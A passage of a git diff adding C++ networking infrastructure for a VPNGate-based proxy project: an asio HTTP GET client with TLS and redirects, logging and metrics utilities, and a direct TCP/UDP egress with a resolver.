redirects_left_ - 1, + std::move(handler_)); + done_ = true; // ownership of the handler has moved to `follow` + follow->start(); + return; + } + + // Anything that is not a 2xx carries no body we would ever use -- our only + // caller wants a file. Fail now rather than handing an error page to the + // CSV parser and letting it report a confusing "not a VPNGate response". + // The status is still passed back so the caller can log it. + if (status < 200 || status >= 300) { + Response r; + r.status = status; + LOG_WARN(kMod, "GET {}://{}{} -> HTTP {}", url_.scheme, url_.host, + url_.target, status); + return finish(make_error_code(Error::UpstreamFailure), std::move(r)); + } + + if (have_content_length_ && content_length_ > opts_.max_bytes) + return finish(make_error_code(Error::ResourceExhausted), {}); + + // Whatever async_read_until over-read is already body. + if (buf_.size() > 0) { + const size_t take = buf_.size(); + resp_.body.append(asio::buffers_begin(buf_.data()), + asio::buffers_begin(buf_.data()) + + static_cast(take)); + buf_.consume(take); + } + read_body(); + } + + void read_body() { + if (resp_.body.size() > opts_.max_bytes) + return finish(make_error_code(Error::ResourceExhausted), {}); + if (have_content_length_ && resp_.body.size() >= content_length_) { + resp_.body.resize(content_length_); + return finish({}, std::move(resp_)); + } + + auto self = shared_from_this(); + auto on_read = [self](std::error_code ec, size_t n) { + if (n > 0) { + self->resp_.body.append( + asio::buffers_begin(self->buf_.data()), + asio::buffers_begin(self->buf_.data()) + static_cast(n)); + self->buf_.consume(n); + } + if (ec == asio::error::eof || + ec == asio::ssl::error::stream_truncated) { + // Server closed: for "Connection: close" responses this is the normal + // end of body. + if (self->chunked_) self->dechunk(); + return self->finish({}, std::move(self->resp_)); + } + if (ec) return self->finish(ec, {}); + self->read_body(); + }; + + constexpr size_t kChunk = 64 * 1024; + if (ssl_stream_) + ssl_stream_->async_read_some(buf_.prepare(kChunk), + [self, on_read](std::error_code ec, size_t n) { + self->buf_.commit(n); + on_read(ec, n); + }); + else + plain_->async_read_some(buf_.prepare(kChunk), + [self, on_read](std::error_code ec, size_t n) { + self->buf_.commit(n); + on_read(ec, n); + }); + } + + // Minimal chunked-transfer decoder applied once the body is fully buffered. + void dechunk() { + std::string out; + out.reserve(resp_.body.size()); + size_t pos = 0; + const std::string &in = resp_.body; + while (pos < in.size()) { + const auto eol = in.find("\r\n", pos); + if (eol == std::string::npos) break; + size_t len = 0; + const std::string hex = in.substr(pos, eol - pos); + const auto semi = hex.find(';'); // chunk extensions + const std::string hex_only = semi == std::string::npos ? hex : hex.substr(0, semi); + const auto r = std::from_chars(hex_only.data(), + hex_only.data() + hex_only.size(), len, 16); + if (r.ec != std::errc{}) break; + pos = eol + 2; + if (len == 0) break; + if (pos + len > in.size()) break; + out.append(in, pos, len); + pos += len + 2; // skip the chunk's trailing CRLF + } + resp_.body = std::move(out); + } + + void finish(std::error_code ec, Response r) { + if (done_) return; + done_ = true; + timer_.cancel(); + close_transport(); + if (handler_) { + auto h = std::move(handler_); + handler_ = nullptr; + h(ec, std::move(r)); + } + } + + void close_transport() { + std::error_code ignored; + if (ssl_stream_) ssl_stream_->next_layer().close(ignored); + if (plain_) plain_->close(ignored); + } + + asio::io_context &io_; + asio::ip::tcp::resolver resolver_; + asio::steady_timer timer_; + Url url_; + Options opts_; + int redirects_left_; + Handler handler_; + + std::unique_ptr plain_; + std::unique_ptr ssl_ctx_; + std::unique_ptr> ssl_stream_; + + asio::streambuf buf_; + std::string request_; + Response resp_; + size_t content_length_ = 0; + bool have_content_length_ = false; + bool chunked_ = false; + bool done_ = false; +}; + +} // namespace + +bool parse_url(const std::string &text, Url *out) { + // Build into a local and assign only on success: callers reuse a Url across + // calls, and leaving stale fields behind (a port from the previous parse, for + // instance) is exactly the kind of bug that only shows up in production. + Url u; + + const auto scheme_end = text.find("://"); + if (scheme_end == std::string::npos) return false; + u.scheme = to_lower(text.substr(0, scheme_end)); + if (u.scheme != "http" && u.scheme != "https") return false; + + const size_t host_start = scheme_end + 3; + const size_t path_start = text.find('/', host_start); + std::string hostport = path_start == std::string::npos + ? text.substr(host_start) + : text.substr(host_start, path_start - host_start); + u.target = path_start == std::string::npos ? "/" : text.substr(path_start); + if (hostport.empty()) return false; + + if (hostport.front() == '[') { // [::1]:8080 + const auto close = hostport.find(']'); + if (close == std::string::npos) return false; + u.host = hostport.substr(1, close - 1); + if (close + 1 < hostport.size() && hostport[close + 1] == ':') + u.port = hostport.substr(close + 2); + } else { + const auto colon = hostport.rfind(':'); + if (colon == std::string::npos) { + u.host = hostport; + } else { + u.host = hostport.substr(0, colon); + u.port = hostport.substr(colon + 1); + } + } + if (u.host.empty()) return false; + if (u.port.empty()) u.port = (u.scheme == "https") ? "443" : "80"; + + *out = std::move(u); + return true; +} + +void async_get(asio::io_context &io, const std::string &url, + const Options &opts, Handler handler) { + Url u; + if (!parse_url(url, &u)) { + asio::post(io, [h = std::move(handler)]() mutable { + h(make_error_code(Error::ConfigInvalid), {}); + }); + return; + } + LOG_DEBUG(kMod, "GET {}", url); + std::make_shared(io, std::move(u), opts, opts.max_redirects, + std::move(handler)) + ->start(); +} + +} // namespace ovg::http diff --git a/src/common/http_get.h b/src/common/http_get.h new file mode 100644 index 0000000..3ca77c6 --- /dev/null +++ b/src/common/http_get.h @@ -0,0 +1,47 @@ +// A small async HTTP/1.1 GET client over asio, with TLS support. +// +// Written rather than pulled in (libcurl) because we need exactly one verb, and +// libcurl's threading/blocking model does not fit the single control thread we +// run everything else on. Scope is deliberately narrow: GET, redirects, a hard +// byte cap, and a deadline. +#pragma once + +#include + +#include +#include +#include +#include + +namespace ovg::http { + +struct Url { + std::string scheme; // "http" or "https" + std::string host; + std::string port; // always populated (defaulted from scheme) + std::string target; // path + query, starts with '/' +}; + +bool parse_url(const std::string &text, Url *out); + +struct Response { + int status = 0; + std::string body; +}; + +using Handler = std::function; + +struct Options { + std::chrono::milliseconds timeout{30000}; + size_t max_bytes = 32u * 1024 * 1024; + int max_redirects = 3; + std::string user_agent = "openvpngate/0.1"; + // TLS peer verification. Only disable for a mirror you control. + bool verify_tls = true; +}; + +// Invokes `handler` exactly once, on `io`'s executor. +void async_get(asio::io_context &io, const std::string &url, + const Options &opts, Handler handler); + +} // namespace ovg::http diff --git a/src/common/logging.cpp b/src/common/logging.cpp new file mode 100644 index 0000000..0deab24 --- /dev/null +++ b/src/common/logging.cpp @@ -0,0 +1,107 @@ +#include "common/logging.h" + +#include +#include +#include +#include +#include +#include + +namespace ovg::log { +namespace { + +std::atomic g_level{Level::Info}; + +std::mutex g_mu; // guards g_out and g_modules +std::FILE *g_out = stderr; +bool g_out_owned = false; +std::unordered_map g_modules; +std::atomic g_have_module_overrides{false}; + +} // namespace + +Level level_from_string(std::string_view s) { + if (s == "trace") return Level::Trace; + if (s == "debug") return Level::Debug; + if (s == "info") return Level::Info; + if (s == "warn" || s == "warning") return Level::Warn; + if (s == "error") return Level::Error; + if (s == "off" || s == "none") return Level::Off; + return Level::Info; +} + +const char *level_name(Level l) { + switch (l) { + case Level::Trace: return "TRACE"; + case Level::Debug: return "DEBUG"; + case Level::Info: return "INFO "; + case Level::Warn: return "WARN "; + case Level::Error: return "ERROR"; + case Level::Off: return "OFF "; + } + return "?????"; +} + +void set_level(Level l) { g_level.store(l, std::memory_order_relaxed); } +Level level() { return g_level.load(std::memory_order_relaxed); } + +void set_module_level(std::string_view module, Level l) { + std::lock_guard lk(g_mu); + g_modules[std::string(module)] = l; + g_have_module_overrides.store(true, std::memory_order_release); +} + +bool set_output_file(const std::string &path, std::string *err) { + std::FILE *f = stderr; + bool owned = false; + if (path != "-" && !path.empty()) { + f = std::fopen(path.c_str(), "ae"); + if (!f) { + if (err) *err = "cannot open log file: " + path; + return false; + } + owned = true; + } + std::lock_guard lk(g_mu); + if (g_out_owned && g_out) std::fclose(g_out); + g_out = f; + g_out_owned = owned; + return true; +} + +bool enabled(Level l, std::string_view module) { + // Fast path: no per-module overrides configured at all. + if (!g_have_module_overrides.load(std::memory_order_acquire)) + return l >= g_level.load(std::memory_order_relaxed); + + std::lock_guard lk(g_mu); + auto it = g_modules.find(std::string(module)); + if (it != g_modules.end()) return l >= it->second; + return l >= g_level.load(std::memory_order_relaxed); +} + +void write(Level l, std::string_view module, std::string_view message) { + using namespace std::chrono; + const auto now = system_clock::now(); + const auto secs = time_point_cast(now); + const auto ms = duration_cast(now - secs).count(); + const std::time_t tt = system_clock::to_time_t(now); + + std::tm tm{}; + gmtime_r(&tt, &tm); + + // Generous: the compiler cannot prove tm_year fits in 4 digits, and a + // truncated timestamp in a log is worse than 16 wasted stack bytes. + char stamp[64]; + std::snprintf(stamp, sizeof(stamp), "%04d-%02d-%02dT%02d:%02d:%02d.%03dZ", + tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, + tm.tm_min, tm.tm_sec, static_cast(ms)); + + std::lock_guard lk(g_mu); + std::fprintf(g_out, "%s %s [%.*s] %.*s\n", stamp, level_name(l), + static_cast(module.size()), module.data(), + static_cast(message.size()), message.data()); + std::fflush(g_out); +} + +} // namespace ovg::log diff --git a/src/common/logging.h b/src/common/logging.h new file mode 100644 index 0000000..3699e38 --- /dev/null +++ b/src/common/logging.h @@ -0,0 +1,63 @@ +// Leveled, thread-safe logging with a module tag. +// +// Usage: +// LOG_INFO("socks5", "session {} connected to {}", id, target); +// +// The module tag is what makes production logs readable: every line can be +// traced back to the subsystem that emitted it, and levels can be raised for +// one module without drowning in the rest. +#pragma once + +#include + +#include +#include + +namespace ovg::log { + +enum class Level : int { Trace = 0, Debug, Info, Warn, Error, Off }; + +// Parses "trace"/"debug"/"info"/"warn"/"error"/"off"; returns Info on garbage. +Level level_from_string(std::string_view s); +const char *level_name(Level l); + +void set_level(Level l); +Level level(); + +// Per-module override, e.g. set_module_level("netstack", Level::Debug). +void set_module_level(std::string_view module, Level l); + +// Redirect output. Default is stderr. Path "-" means stderr. +bool set_output_file(const std::string &path, std::string *err); + +bool enabled(Level l, std::string_view module); + +// Emits one line: "2026-07-27T17:04:11.123Z INFO [socks5] message" +void write(Level l, std::string_view module, std::string_view message); + +namespace detail { +// fmt::format can throw on a bad format string; a logging call must never take +// the process down, so failures degrade into a visible placeholder. +template +std::string safe_format(fmt::format_string f, Args &&...args) { + try { + return fmt::format(f, std::forward(args)...); + } catch (const std::exception &e) { + return std::string(""; + } +} +} // namespace detail + +} // namespace ovg::log + +#define OVG_LOG(lvl, mod, ...) \ + do { \ + if (::ovg::log::enabled(lvl, mod)) \ + ::ovg::log::write(lvl, mod, ::ovg::log::detail::safe_format(__VA_ARGS__)); \ + } while (0) + +#define LOG_TRACE(mod, ...) OVG_LOG(::ovg::log::Level::Trace, mod, __VA_ARGS__) +#define LOG_DEBUG(mod, ...) OVG_LOG(::ovg::log::Level::Debug, mod, __VA_ARGS__) +#define LOG_INFO(mod, ...) OVG_LOG(::ovg::log::Level::Info, mod, __VA_ARGS__) +#define LOG_WARN(mod, ...) OVG_LOG(::ovg::log::Level::Warn, mod, __VA_ARGS__) +#define LOG_ERROR(mod, ...) OVG_LOG(::ovg::log::Level::Error, mod, __VA_ARGS__) diff --git a/src/common/metrics.cpp b/src/common/metrics.cpp new file mode 100644 index 0000000..fbf5382 --- /dev/null +++ b/src/common/metrics.cpp @@ -0,0 +1,46 @@ +#include "common/metrics.h" + +#include + +namespace ovg::metrics { + +Registry &Registry::instance() { + static Registry r; + return r; +} + +Counter *Registry::counter(const std::string &name, const std::string &help) { + std::lock_guard lk(mu_); + for (auto &e : counters_) + if (e.name == name) return e.c.get(); + counters_.push_back({name, help, std::make_unique()}); + return counters_.back().c.get(); +} + +Gauge *Registry::gauge(const std::string &name, const std::string &help) { + std::lock_guard lk(mu_); + for (auto &e : gauges_) + if (e.name == name) return e.g.get(); + gauges_.push_back({name, help, std::make_unique()}); + return gauges_.back().g.get(); +} + +std::string Registry::render_prometheus() const { + std::lock_guard lk(mu_); + std::string out; + out.reserve(4096); + + for (const auto &e : counters_) { + if (!e.help.empty()) out += "# HELP " + e.name + " " + e.help + "\n"; + out += "# TYPE " + e.name + " counter\n"; + out += e.name + " " + std::to_string(e.c->value()) + "\n"; + } + for (const auto &e : gauges_) { + if (!e.help.empty()) out += "# HELP " + e.name + " " + e.help + "\n"; + out += "# TYPE " + e.name + " gauge\n"; + out += e.name + " " + std::to_string(e.g->value()) + "\n"; + } + return out; +} + +} // namespace ovg::metrics diff --git a/src/common/metrics.h b/src/common/metrics.h new file mode 100644 index 0000000..4a10893 --- /dev/null +++ b/src/common/metrics.h @@ -0,0 +1,68 @@ +// Minimal metrics registry with Prometheus text exposition. +// +// Deliberately tiny: counters and gauges only. Handles are stable pointers so +// hot paths do an atomic add with no lookup and no lock. +#pragma once + +#include +#include +#include +#include +#include +#include + +namespace ovg::metrics { + +class Counter { + public: + void inc(uint64_t n = 1) { v_.fetch_add(n, std::memory_order_relaxed); } + uint64_t value() const { return v_.load(std::memory_order_relaxed); } + + private: + std::atomic v_{0}; +}; + +class Gauge { + public: + void set(int64_t n) { v_.store(n, std::memory_order_relaxed); } + void add(int64_t n) { v_.fetch_add(n, std::memory_order_relaxed); } + void sub(int64_t n) { v_.fetch_sub(n, std::memory_order_relaxed); } + int64_t value() const { return v_.load(std::memory_order_relaxed); } + + private: + std::atomic v_{0}; +}; + +class Registry { + public: + static Registry &instance(); + + // Handles live for the process lifetime; safe to cache in a static. + Counter *counter(const std::string &name, const std::string &help = ""); + Gauge *gauge(const std::string &name, const std::string &help = ""); + + std::string render_prometheus() const; + + private: + struct CounterEntry { + std::string name, help; + std::unique_ptr c; + }; + struct GaugeEntry { + std::string name, help; + std::unique_ptr g; + }; + + mutable std::mutex mu_; + std::vector counters_; + std::vector gauges_; +}; + +inline Counter *counter(const std::string &n, const std::string &help = "") { + return Registry::instance().counter(n, help); +} +inline Gauge *gauge(const std::string &n, const std::string &help = "") { + return Registry::instance().gauge(n, help); +} + +} // namespace ovg::metrics diff --git a/src/common/strand_deleter.h b/src/common/strand_deleter.h new file mode 100644 index 0000000..8d90e22 --- /dev/null +++ b/src/common/strand_deleter.h @@ -0,0 +1,37 @@ +// Deferred, serialized destruction for objects that a callback may be holding +// a raw pointer to. +// +// Both transport implementations need it for the same reason. lwIP callbacks +// carry a raw `this` as their callback_arg; asio socket operations carry an +// implementation the socket must outlive. In both cases the object may not be +// destroyed at the moment its last shared_ptr goes away, because that moment +// can be inside a callback or on the wrong thread. Posting the destruction to +// the owning strand gives "not now, and not concurrently" in one move. +// +// The handler captures a unique_ptr rather than a raw pointer on purpose: if +// the io_context is destroyed while the handler is still queued, asio destroys +// the handler, the unique_ptr goes with it, and the object is freed instead of +// leaked. +#pragma once + +#include + +#include +#include + +namespace ovg { + +using Strand = asio::strand; + +template +struct StrandDeleter { + Strand strand; + + void operator()(T *p) const { + if (!p) return; + std::unique_ptr owned(p); + asio::post(strand, [o = std::move(owned)]() mutable { o.reset(); }); + } +}; + +} // namespace ovg diff --git a/src/egress/direct_egress.cpp b/src/egress/direct_egress.cpp new file mode 100644 index 0000000..2847897 --- /dev/null +++ b/src/egress/direct_egress.cpp @@ -0,0 +1,676 @@ +#include "egress/direct_egress.h" + +#include +#include +#include + +#include "common/asio_compat.h" +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" +#include "common/strand_deleter.h" + +namespace ovg::egress { +namespace { + +constexpr const char *kMod = "egress"; + +// The direct egress has no MTU of its own, but a datagram larger than this is +// not going to survive any real path either, and a bounded buffer keeps a +// hostile peer from sizing our allocations. +constexpr size_t kMaxDatagram = 65535; + +using netstack::Resolver; +using netstack::TcpStream; +using netstack::UdpSocket; + +// asio reports a would-be-fatal condition through a handful of codes that mean +// the same thing to us; anything else passes through unchanged so the SOCKS5 +// reply code stays honest (see socks5_reply_for). +// +// Success is normalised to a default-constructed code. asio's own success +// belongs to asio's category, so `ec == std::error_code{}` is false for it even +// though `if (ec)` is false too -- and the lwIP transport reports plain `{}`. +// Two backends behind one interface must not differ in something a caller can +// observe with ==. +// +// The same argument forces the connect-class codes below to be translated +// rather than passed through. asio's category is *not* the system category and, +// in the version we build against, does not implement default_error_condition +// against std::errc at all: +// +// std::error_code ec = asio::error::connection_refused; // 111 +// ec == std::errc::connection_refused // -> false! +// +// so a caller doing the obvious errno comparison silently gets the fallback +// branch. socks5_reply_for did exactly that and answered GENERAL_FAILURE (0x01) +// for a refused connection, where the lwIP egress -- which reports +// Error::ConnectionRefused -- correctly answered 0x05. Mapping here is the fix +// that holds for every caller instead of one: above this line there are only +// ovg::Error codes, whichever transport produced them. +std::error_code map_ec(const std::error_code &ec) { + if (!ec) return {}; + if (ec == asio::error::operation_aborted) return make_error_code(Error::Cancelled); + if (ec == asio::error::connection_refused) + return make_error_code(Error::ConnectionRefused); + if (ec == asio::error::host_unreachable || ec == asio::error::host_not_found || + ec == asio::error::host_not_found_try_again) + return make_error_code(Error::HostUnreachable); + if (ec == asio::error::network_unreachable || + ec == asio::error::network_down || ec == asio::error::network_reset) + return make_error_code(Error::NetworkUnreachable); + if (ec == asio::error::timed_out) return make_error_code(Error::Timeout); + if (ec == asio::error::connection_reset || + ec == asio::error::connection_aborted || ec == asio::error::broken_pipe) + return make_error_code(Error::UpstreamFailure); + return ec; +} + +// --------------------------------------------------------------------------- +// TCP +// --------------------------------------------------------------------------- + +// Everything here runs on the stream's own strand, and the object is destroyed +// on it too (StrandDeleter). That is what makes close() from one thread safe +// against a read completing on another -- an asio socket is no more +// thread-safe than lwIP is. +class DirectTcpStream final : public TcpStream, + public std::enable_shared_from_this { + public: + using Ptr = std::shared_ptr; + + static Ptr create(asio::io_context &io, asio::any_io_executor cb_ex) { + Strand strand = asio::make_strand(io); + return Ptr(new DirectTcpStream(strand, std::move(cb_ex)), + StrandDeleter{strand}); + } + + ~DirectTcpStream() override { + // On the strand, so no socket handler is running against us. + std::error_code ignored; + sock_.close(ignored); + const auto ec = make_error_code(Error::Cancelled); + if (read_h_) asio::post(cb_ex_, [h = std::move(read_h_), ec] { h(ec, 0); }); + if (write_h_) { + asio::post(cb_ex_, [h = std::move(write_h_), ec] { h(ec, 0); }); + } + if (on_gone_) on_gone_(); + } + + // Runs when the stream is actually destroyed, which is what the egress's + // "active connections" gauge is supposed to count -- not when the caller + // stopped reading from it. + void set_on_gone(std::function f) { on_gone_ = std::move(f); } + + using ConnectHandler = std::function; + + void start_connect(const Endpoint &target, Millis timeout, ConnectHandler h) { + auto self = shared_from_this(); + asio::post(strand_, [self, target, timeout, h = std::move(h)]() mutable { + self->do_connect(target, timeout, std::move(h)); + }); + } + + // TcpStream + void async_read_some(asio::mutable_buffer buf, ReadHandler h) override { + auto self = shared_from_this(); + asio::post(strand_, [self, buf, h = std::move(h)]() mutable { + self->do_read(buf, std::move(h)); + }); + } + + void async_write(asio::const_buffer buf, WriteHandler h) override { + auto self = shared_from_this(); + asio::post(strand_, [self, buf, h = std::move(h)]() mutable { + self->do_write(buf, std::move(h)); + }); + } + + void shutdown_send() override { + auto self = shared_from_this(); + asio::post(strand_, [self] { + if (!self->sock_.is_open()) return; + std::error_code ignored; + self->sock_.shutdown(asio::ip::tcp::socket::shutdown_send, ignored); + }); + } + + void close() override { + auto self = shared_from_this(); + asio::post(strand_, [self] { self->do_close(); }); + } + + bool is_open() const override { return open_.load(std::memory_order_acquire); } + Endpoint local_endpoint() const override { return local_; } + Endpoint remote_endpoint() const override { return remote_; } + uint64_t bytes_written() const override { + return tx_.load(std::memory_order_relaxed); + } + uint64_t bytes_read() const override { + return rx_.load(std::memory_order_relaxed); + } + + private: + DirectTcpStream(Strand strand, asio::any_io_executor cb_ex) + : strand_(strand), + cb_ex_(std::move(cb_ex)), + sock_(strand), + timer_(strand) {} + + void do_connect(const Endpoint &target, Millis timeout, ConnectHandler h) { + connect_h_ = std::move(h); + if (target.is_domain() || !target.address().valid()) { + // The egress resolved it before getting here; a name at this point is a + // bug, not something to paper over with another lookup. + finish_connect(make_error_code(Error::Internal)); + return; + } + const auto ep = to_asio_tcp(target); + remote_ = target; + + std::error_code ec; + sock_.open(ep.protocol(), ec); + if (ec) { + finish_connect(ec); + return; + } + sock_.set_option(asio::ip::tcp::no_delay(true), ec); + + if (timeout.count() > 0) { + timer_.expires_after(timeout); + auto self = shared_from_this(); + timer_.async_wait([self](const std::error_code &tec) { + if (tec || !self->connecting_) return; + std::error_code ignored; + self->sock_.close(ignored); // makes the pending connect fail + self->timed_out_ = true; + }); + } + + connecting_ = true; + auto self = shared_from_this(); + sock_.async_connect(ep, [self](const std::error_code &cec) { + if (self->timed_out_) { + self->finish_connect(make_error_code(Error::Timeout)); + return; + } + if (cec) { + self->finish_connect(map_ec(cec)); + return; + } + std::error_code lec; + self->local_ = from_asio(self->sock_.local_endpoint(lec)); + self->finish_connect({}); + }); + } + + void finish_connect(const std::error_code &ec) { + if (!connecting_ && !connect_h_) return; + connecting_ = false; + timer_.cancel(); + if (!ec) open_.store(true, std::memory_order_release); + if (connect_h_) { + auto h = std::move(connect_h_); + connect_h_ = nullptr; + h(ec); + } + } + + void do_read(asio::mutable_buffer buf, ReadHandler h) { + if (read_h_) { + LOG_ERROR(kMod, "overlapping async_read_some on {}", remote_.to_string()); + post_read(std::move(h), make_error_code(Error::Internal), 0); + return; + } + if (buf.size() == 0) { + post_read(std::move(h), {}, 0); + return; + } + if (!sock_.is_open()) { + post_read(std::move(h), make_error_code(Error::Cancelled), 0); + return; + } + read_h_ = std::move(h); + auto self = shared_from_this(); + sock_.async_read_some(buf, [self](const std::error_code &ec, size_t n) { + self->rx_.fetch_add(n, std::memory_order_relaxed); + // asio::error::eof passes straight through: a half-closed peer is not a + // failure, and turning it into one would truncate the response the + // client is still waiting to send a request for. + auto h = std::move(self->read_h_); + self->read_h_ = nullptr; + if (h) self->post_read(std::move(h), ec == asio::error::eof ? ec : map_ec(ec), n); + }); + } + + void do_write(asio::const_buffer buf, WriteHandler h) { + if (write_h_) { + LOG_ERROR(kMod, "overlapping async_write on {}", remote_.to_string()); + post_write(std::move(h), make_error_code(Error::Internal), 0); + return; + } + if (buf.size() == 0) { + post_write(std::move(h), {}, 0); + return; + } + if (!sock_.is_open()) { + post_write(std::move(h), std::make_error_code(std::errc::broken_pipe), 0); + return; + } + write_h_ = std::move(h); + auto self = shared_from_this(); + // async_write, not async_write_some: the interface promises the whole + // buffer, matching what lwip_tcp.cpp does with its retry loop. + asio::async_write(sock_, buf, [self](const std::error_code &ec, size_t n) { + self->tx_.fetch_add(n, std::memory_order_relaxed); + auto h = std::move(self->write_h_); + self->write_h_ = nullptr; + if (h) self->post_write(std::move(h), map_ec(ec), n); + }); + } + + void do_close() { + if (closing_) return; + closing_ = true; + open_.store(false, std::memory_order_release); + timer_.cancel(); + std::error_code ignored; + sock_.close(ignored); // pending ops complete with operation_aborted + if (connecting_) finish_connect(make_error_code(Error::Cancelled)); + } + + void post_read(ReadHandler h, const std::error_code &ec, size_t n) { + asio::post(cb_ex_, [h = std::move(h), ec, n]() mutable { h(ec, n); }); + } + void post_write(WriteHandler h, const std::error_code &ec, size_t n) { + asio::post(cb_ex_, [h = std::move(h), ec, n]() mutable { h(ec, n); }); + } + + Strand strand_; + asio::any_io_executor cb_ex_; + asio::ip::tcp::socket sock_; + asio::steady_timer timer_; + + Endpoint local_, remote_; + ConnectHandler connect_h_; + bool connecting_ = false; + bool timed_out_ = false; + bool closing_ = false; + + ReadHandler read_h_; + WriteHandler write_h_; + std::function on_gone_; + + std::atomic open_{false}; + std::atomic tx_{0}, rx_{0}; +}; + +// --------------------------------------------------------------------------- +// UDP +// --------------------------------------------------------------------------- + +class DirectUdpSocket final : public UdpSocket, + public std::enable_shared_from_this { + public: + using Ptr = std::shared_ptr; + + static Ptr create(asio::io_context &io, asio::any_io_executor cb_ex, + std::error_code *ec_out) { + Strand strand = asio::make_strand(io); + Ptr p(new DirectUdpSocket(strand, std::move(cb_ex)), + StrandDeleter{strand}); + std::error_code ec; + // v6 with v6_only off would accept v4 too, but VPNGate is v4-only and the + // netstack refuses v6 anyway (lwip_stack.h); staying v4 keeps the two + // egresses behaving identically. + p->sock_.open(asio::ip::udp::v4(), ec); + if (!ec) p->sock_.bind(asio::ip::udp::endpoint(asio::ip::udp::v4(), 0), ec); + if (ec) { + if (ec_out) *ec_out = ec; + return nullptr; + } + p->local_ = from_asio(p->sock_.local_endpoint(ec)); + p->open_.store(true, std::memory_order_release); + return p; + } + + ~DirectUdpSocket() override { + std::error_code ignored; + sock_.close(ignored); + if (recv_h_) { + const auto ec = make_error_code(Error::Cancelled); + asio::post(cb_ex_, [h = std::move(recv_h_), ec] { h(ec, 0, Endpoint{}); }); + } + if (on_gone_) on_gone_(); + } + + void set_on_gone(std::function f) { on_gone_ = std::move(f); } + + void async_receive_from(asio::mutable_buffer buf, RecvHandler h) override { + auto self = shared_from_this(); + asio::post(strand_, [self, buf, h = std::move(h)]() mutable { + self->do_receive(buf, std::move(h)); + }); + } + + void async_send_to(asio::const_buffer buf, const Endpoint &to, + SendHandler h) override { + auto self = shared_from_this(); + asio::post(strand_, [self, buf, to, h = std::move(h)]() mutable { + self->do_send(buf, to, std::move(h)); + }); + } + + void close() override { + auto self = shared_from_this(); + asio::post(strand_, [self] { + if (self->closing_) return; + self->closing_ = true; + self->open_.store(false, std::memory_order_release); + std::error_code ignored; + self->sock_.close(ignored); + }); + } + + bool is_open() const override { return open_.load(std::memory_order_acquire); } + Endpoint local_endpoint() const override { return local_; } + + private: + DirectUdpSocket(Strand strand, asio::any_io_executor cb_ex) + : strand_(strand), cb_ex_(std::move(cb_ex)), sock_(strand) {} + + void do_receive(asio::mutable_buffer buf, RecvHandler h) { + if (recv_h_) { + asio::post(cb_ex_, [h = std::move(h)]() mutable { + h(make_error_code(Error::Internal), 0, Endpoint{}); + }); + return; + } + if (!sock_.is_open()) { + asio::post(cb_ex_, [h = std::move(h)]() mutable { + h(make_error_code(Error::Cancelled), 0, Endpoint{}); + }); + return; + } + recv_h_ = std::move(h); + auto self = shared_from_this(); + sock_.async_receive_from( + buf, from_, [self](const std::error_code &ec, size_t n) { + auto h2 = std::move(self->recv_h_); + self->recv_h_ = nullptr; + if (!h2) return; + const Endpoint from = from_asio(self->from_); + asio::post(self->cb_ex_, + [h2 = std::move(h2), ec = map_ec(ec), n, from]() mutable { + h2(ec, n, from); + }); + }); + } + + void do_send(asio::const_buffer buf, const Endpoint &to, SendHandler h) { + if (to.is_domain() || !to.address().valid()) { + asio::post(cb_ex_, [h = std::move(h)]() mutable { + h(make_error_code(Error::NotSupported), 0); + }); + return; + } + if (!sock_.is_open()) { + asio::post(cb_ex_, [h = std::move(h)]() mutable { + h(make_error_code(Error::Cancelled), 0); + }); + return; + } + if (buf.size() > kMaxDatagram) { + asio::post(cb_ex_, [h = std::move(h)]() mutable { + h(make_error_code(Error::ResourceExhausted), 0); + }); + return; + } + // send_to rather than async_send_to: a UDP send either fits in the socket + // buffer or is dropped, so there is nothing to wait for, and this keeps a + // single outstanding-op rule from applying to a direction that does not + // need one. + std::error_code ec; + const size_t n = sock_.send_to(buf, to_asio_udp(to), 0, ec); + asio::post(cb_ex_, [h = std::move(h), ec = map_ec(ec), n]() mutable { + h(ec, n); + }); + } + + Strand strand_; + asio::any_io_executor cb_ex_; + asio::ip::udp::socket sock_; + asio::ip::udp::endpoint from_; + Endpoint local_; + RecvHandler recv_h_; + std::function on_gone_; + bool closing_ = false; + std::atomic open_{false}; +}; + +// --------------------------------------------------------------------------- +// Resolver +// --------------------------------------------------------------------------- + +// The host resolver. Correct here precisely because there is no tunnel to leak +// out of -- the tunnel egress uses netstack/dns_resolver.h instead, which sends +// its queries through the VPN. +class DirectResolver final : public Resolver { + public: + DirectResolver(asio::io_context &io, DnsConfig cfg) + : io_(io), cfg_(std::move(cfg)) {} + + void async_resolve(const std::string &host, Handler h) override { + async_resolve_on(io_.get_executor(), host, std::move(h)); + } + + void async_resolve_on(const asio::any_io_executor &ex, + const std::string &host, Handler h) { + if (auto lit = IpAddress::parse(host)) { + asio::post(ex, [h = std::move(h), lit = *lit]() mutable { + h({}, {lit}); + }); + return; + } + auto res = std::make_shared(io_); + res->async_resolve( + host, "", asio::ip::resolver_base::numeric_service, + [res, ex, h = std::move(h), cfg = cfg_]( + const std::error_code &ec, + asio::ip::tcp::resolver::results_type results) mutable { + if (ec) { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::ResolveFailed), {}); + }); + return; + } + std::vector out; + for (const auto &r : results) { + const auto a = from_asio(r.endpoint().address()); + if (!a.valid()) continue; + if (cfg.prefer_ipv4 && !a.is_v4()) continue; + if (std::find(out.begin(), out.end(), a) == out.end()) + out.push_back(a); + } + if (out.empty()) { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::ResolveFailed), {}); + }); + return; + } + asio::post(ex, [h = std::move(h), out = std::move(out)]() mutable { + h({}, std::move(out)); + }); + }); + } + + void clear_cache() override {} // the host resolver keeps its own + + private: + asio::io_context &io_; + DnsConfig cfg_; +}; + +metrics::Counter *direct_tcp_opened() { + static auto *c = metrics::counter("ovg_direct_tcp_opened_total", + "TCP connections opened on the direct egress"); + return c; +} +metrics::Counter *direct_tcp_failed() { + static auto *c = metrics::counter("ovg_direct_tcp_failed_total", + "TCP connect failures on the direct egress"); + return c; +} + +} // namespace + +// --------------------------------------------------------------------------- +// DirectEgress +// --------------------------------------------------------------------------- + +std::shared_ptr DirectEgress::create(asio::io_context &io, + DnsConfig dns_cfg) { + auto e = std::shared_ptr( + new DirectEgress(io, std::move(dns_cfg))); + LOG_WARN(kMod, + "direct egress active: traffic does NOT go through a VPN. " + "This is a configuration choice (egress_mode = direct), and it is " + "never entered automatically."); + return e; +} + +DirectEgress::DirectEgress(asio::io_context &io, DnsConfig dns_cfg) + : io_(io), + 